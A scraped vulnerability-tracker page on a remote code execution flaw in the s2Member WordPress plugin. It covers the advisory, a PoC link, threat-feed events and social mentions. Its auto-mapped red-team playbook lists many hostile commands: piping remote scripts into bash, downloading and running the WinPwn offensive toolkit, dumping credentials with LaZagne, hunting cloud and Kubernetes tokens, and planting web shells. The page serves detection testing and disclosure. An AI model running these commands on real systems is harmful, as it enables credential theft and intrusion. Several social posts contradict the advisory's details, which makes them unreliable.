CVE-2026-86596
Overview
This vulnerability is a remote code execution flaw caused by improper sanitization of user input in the s2Member WordPress plugin. The root cause lies in the strip_php_tags_deep() function, which inadequately removes PHP opening tags by only stripping literal '<?' sequences. A subsequent post-interpolation cleanup unintentionally reconstructs a valid '<?php' tag from attacker-controlled input embedded in email templates. The affected component is the handling of the 'item_name' parameter within the plugin's email template processing logic.
Vulnerability Description
The s2Member plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, <= 260927 via the 'item_name' parameter parameter. This is due to insufficient sanitization in strip_php_tags_deep(), which only strips literal '<?' sequences, combined with a post-interpolation placeholder cleanup that reassembles a valid '<?php' opener after the attacker-controlled value has already been embedded in the email template. This makes it possible for authenticated attackers, with custom-level access and above, to execute code on the server.
Impact
An attacker with at least custom-level authenticated access can execute arbitrary PHP code on the server hosting the WordPress site. This leads to full system compromise, including unauthorized data access, modification, or deletion, and potential lateral movement within the network. The attacker can manipulate membership and subscription data or disrupt service availability, severely impacting business operations and data integrity.
Solution
Upgrade the s2Member plugin to a version later than 260927 where this vulnerability is addressed. Refer to the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126 for detailed patch instructions. No official workaround is documented; applying the vendor-supplied patch is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
thiscitze/cve-2026-86596-poc
CVE-2026-86596 s2Member <= 260927 template-injection PoC (lab; IPN verification required)
|
thiscitze | 0 | 0 | 2026-11-02 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Active exploitation confirmed — vendor: clavaque, product: s2member
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (12)
12 mentions from 3 sources in the last 7 days BuzzFactor 34 / 100
-
social bsky.app @offseq.bsky.social 2026-11-03 01:30 UTCCVE-2026-86596: s2Member plugin (<=260927) faces CRITICAL RCE risk. Auth'd users with custom-level+ can execute code on WordPress sites. Restrict access or disable plugin until a patch is released. https://radar.offseq.com/threat/the-s2mem…Open source
-
social infosec.exchange @offseq 2026-11-03 01:30 UTCCVE-2026-86596 | s2Member plugin <=260927 has a CRITICAL RCE bug. Auth'd users (custom-level+) can execute arbitrary PHP via 'item_name' in email templates. No confirmed patch — restrict or disable plugin now. https://radar.offseq.com/thre…Open source
-
social bsky.app @veduis.bsky.social 2026-11-03 00:35 UTCCVE-2026-86596: s2Member for WordPress is vulnerable to remote code execution. Severity is critical across all versions up to the advisory cutoff.Open source
-
social bsky.app @stackflag.bsky.social 2026-11-03 00:20 UTCCVE-2026-86596 - s2member – excellent for all kinds of memberships, content restriction paywalls & member access subscriptions The s2Member add‑on for WordPress can let a user who is signed in with a member‑level… Too many irrelevant or co…Open source
-
social bsky.app @stemshop.bsky.social 2026-11-03 00:07 UTC🚨 CVE-2026-86596 — CVSS 9.8 CRITICAL The s2Member plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and includi... 🔎 https://stemshop.top/cve/CVE-2026-86596 #CVE #CyberSecurity #InfoSecOpen source
-
social bsky.app @pulse-wp.com 2026-11-03 00:00 UTCCVE-2026-86596. s2Member RCE. 9.8/10. Any visitor executes code on your server. wp-config exposed. Database credentials stolen. No patch available. Disable the plugin immediately. Scan your WordPress site: pulse-wp.com #WordPress #RCE #Cyb…Open source
-
social bsky.app @thehackerwire.bsky.social 2026-11-02 23:47 UTC🔴 CVE-2026-86596 - Critical (9.8) The s2Member plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, a... https://www.thehackerwire.com/vulnerability/CVE-2026-86596/ #infosec #cybersecurity #CVE #vulnerability…Open source
-
social mastodon.social @115755483699003887 2026-11-02 23:46 UTC🔴 CVE-2026-86596 - Critical (9.8) The s2Member plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, <= 260927 via the 'item_name' parameter parameter. This is due to insufficient sa…Open source
-
social bsky.app @cve.skyfleet.blue 2026-11-02 23:36 UTCCVE-2026-86596 - s2Member CVE ID : CVE-2026-86596 Published : Nov. 2, 2026, 10:17 p.m. | 46 minutes ago Description : The s2Member plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, <= 260927…Open source
-
code github.com thiscitze 2026-11-02 22:57 UTCthiscitze/cve-2026-86596-pocOpen source
-
news threatsensor.csurface.io 2026-11-02 21:30 UTCCritical RCE Vulnerability in s2Member Plugin for WordPressOpen source
-
advisory vulncheck.com 2026-11-02 00:00 UTCVulnCheck KEV: clavaque s2member Improper Control of Generation of CodeOpen source